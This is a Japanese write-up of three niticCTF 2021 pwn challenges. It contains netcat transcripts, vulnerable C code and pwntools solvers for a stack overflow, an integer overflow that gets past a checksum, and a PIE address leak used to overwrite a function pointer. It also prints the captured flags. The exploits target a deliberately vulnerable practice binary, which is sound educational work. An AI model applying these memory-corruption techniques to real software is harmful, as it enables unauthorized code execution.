###### tags: `pwn` `niticCTF2021`
# pwn_monster1, 2, 3 - niticCTF
![](https://img.shields.io/badge/Type-Stack%20Overflow-red)
solverのソースコードは、[GitHub](https://github.com/yu1hpa/ctf-writeups/tree/master/2021/NITIC)にあります。
## pwn_monster1
### TL;DR
- ncしたら、nameに入力した文字が溢れそうなので`A`を大量に入力する
- FLAG GET
### writeup
<details><summary>ncした結果</summary><div>
$ nc 35.200.120.35 9001
```
____ __ __ _
| _ \__ ___ __ | \/ | ___ _ __ ___| |_ ___ _ __
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
| __/ \ V V /| | | | | | | (_) | | | \__ \ || __/ |
|_| \_/\_/ |_| |_|_| |_|\___/|_| |_|___/\__\___|_|
Press Any Key
Welcome to Pwn Monster World!
I'll give your first monster!
Let's give your monster a name!
+--------+--------------------+----------------------+
|name | 0x0000000000000000 | |
| | 0x0000000000000000 | |
|HP | 0x0000000000000064 | 100 |
|ATK | 0x000000000000000a | 10 |
+--------+--------------------+----------------------+
```
</div></details>
```
+--------+--------------------+----------------------+
|name | 0x0000000000000000 | |
| | 0x0000000000000000 | |
|HP | 0x0000000000000064 | 100 |
|ATK | 0x000000000000000a | 10 |
+--------+--------------------+----------------------+
```
ncした時に現れるこの部分から、たくさんの`A`を与えてみる
```
Input name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
+--------+--------------------+----------------------+
|name | 0x4141414141414141 | AAAAAAAA |
| | 0x4141414141414141 | AAAAAAAA |
|HP | 0x4141414141414141 | 4702111234474983745 |
|ATK | 0x4141414141414141 | 4702111234474983745 |
+--------+--------------------+----------------------+
OK, Nice name.
Let's battle with Rival! If you win, give you FLAG.
[You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwnchu HP: 4702111234474983745
[Rival] pwnchu HP: 9999
Your Turn.
Rival monster took 4702111234474983745 damage!
[You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwnchu HP: 4702111234474983745
[Rival] pwnchu HP: -4702111234474973746
Win!
nitic_ctf{We1c0me_t0_pwn_w0r1d!}
*** stack smashing detected ***: terminated
Aborted (core dumped)
```
pwn_monster1のFLAG
==nitic_ctf{We1c0me_t0_pwn_w0r1d!}==
## pwn_monster2
### TL;DR
- 和が110になればいいので、0xFFで0に繰り上がることを利用する
- FLAG GET
### writeup
<details><summary>give_monster_name関数</summary><div>
```c=
void give_monster_name(Monster* monster) {
printf("Let's give your monster a name!\n");
print_monster_infomation(*monster);
int64_t checksum = monster->hp + monster->attack;
printf("Checksum: %ld\n", checksum);
printf("Input name: ");
scanf("%s%*c", monster->name);
print_monster_infomation(*monster);
printf("Checksum: %ld\n", monster->hp + monster->attack);
if (monster->hp + monster->attack != checksum) {
puts("Detect cheat.");
exit(1);
}
puts("OK, Nice name.");
}
```
</div></details>
```c=
int64_t checksum = monster->hp + monster->attack;
~略~
if (monster->hp + monster->attack != checksum) {
puts("Detect cheat.");
exit(1);
}
//(なお、main関数でhpとATKの初期値がそれぞれ100と10に設定されている)
```
`hp`と`ATK`の和が`110`になるためには、
`hp`の値がマイナスにならない程度に引き上げて、`0xFFFFFFFFFFFFFFFF`を超えたら繰り上がることを利用する。
### solver
```python=
from pwn import *
#io = process("./vuln")
io = remote("35.200.120.35", 9002)
payload = b""
payload += b"A"*0x10
payload += b"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x0F" #1152921504606846975
payload += b"\x6F\x00\x00\x00\x00\x00\x00\xF0" #-1152921504606846865
io.sendlineafter("Input name: ", payload)
io.interactive()
```
pwn_monster2のFLAG
==nitic_ctf{buffer_and_1nteger_overfl0w}==
## pwn_monster3
### TL;DR
- `PIE`が有効なのでbase addressを求める
- リークされてるcry関数のアドレスとbinaryの中にある相対アドレスの差でbase addressが求められる
- base addressとshow_flagの相対アドレスの和で求めたSHOW_FLAGでcryのアドレスを上書きする
### writeup
```
$ nc 35.200.120.35 9003
____ __ __ _
| _ \__ ___ __ | \/ | ___ _ __ ___| |_ ___ _ __
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
| __/ \ V V /| | | | | | | (_) | | | \__ \ || __/ |
|_| \_/\_/ |_| |_|_| |_|\___/|_| |_|___/\__\___|_|
Press Any Key
Welcome to Pwn Monster World!
I'll give your first monster!
Let's give your monster a name!
+--------+--------------------+----------------------+
|name | 0x0000000000000000 | |
| | 0x0000000000000000 | |
|HP | 0x0000000000000064 | 100 |
|ATK | 0x000000000000000a | 10 |
|cry() | 0x000055d2362ad34e | |
+--------+--------------------+----------------------+
Input name:
```
まず、`ATK`の下にあるcry関数のアドレスを取得する。(solverの7,8行目)
バイナリ内のcry関数`my_monster_cry`のアドレスを得て、差を取る。(solverの10行目)
これによって、base addressがわかる。
base addressと`show_flag`の相対アドレスの和をとって、
cry関数のアドレスを上書きする。(14~17行目)
### solver
```python=
from pwn import *
elf = ELF("./vuln")
#io = process("./vuln")
io = remote("35.200.120.35", "9003")
# leak cry function address
io.recvuntil("cry() | ")
cry_addr = int(io.recvuntil(" ").strip(), 16)
# calc binary base address
bin_baseaddr = cry_addr - elf.symbols["my_monster_cry"]
# build show_flag function address
SHOW_FLAG = bin_baseaddr + elf.symbols["show_flag"]
payload = b""
payload += b"A"*0x10 + b"B"*0x10
payload += p64(SHOW_FLAG)
io.sendafter("Input name: ", payload)
io.interactive()
```
pwn_monster3のFLAG
==nitic_ctf{rewrite_function_pointer_is_fun}==